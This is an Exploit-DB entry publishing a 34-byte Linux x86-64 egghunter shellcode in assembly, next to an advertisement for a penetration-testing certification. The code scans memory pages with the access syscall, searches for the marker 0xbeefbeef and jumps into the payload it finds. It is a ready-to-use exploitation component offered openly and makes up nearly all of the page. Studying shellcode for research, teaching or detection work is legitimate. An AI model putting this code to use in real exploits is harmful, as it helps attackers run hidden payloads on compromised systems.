Linux/x64 - Egghunter (0xbeefbeef) Shellcode (34 bytes)

EDB-ID:

43953

CVE:

N/A




Platform:

Linux_x86-64

Date:

2017-11-23


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

global _start
section .text
_start:
        xor rsi,rsi

        push rsi ; starts the search at position 0
        pop rdi

next_page:
        or di,0xfff
        inc rdi

next_4_bytes:
        push 21
        pop rax
        syscall
        cmp al,0xf2
        jz next_page
        mov eax,0xefbeefbd
        inc al
        scasd
        jnz next_4_bytes
        jmp rdi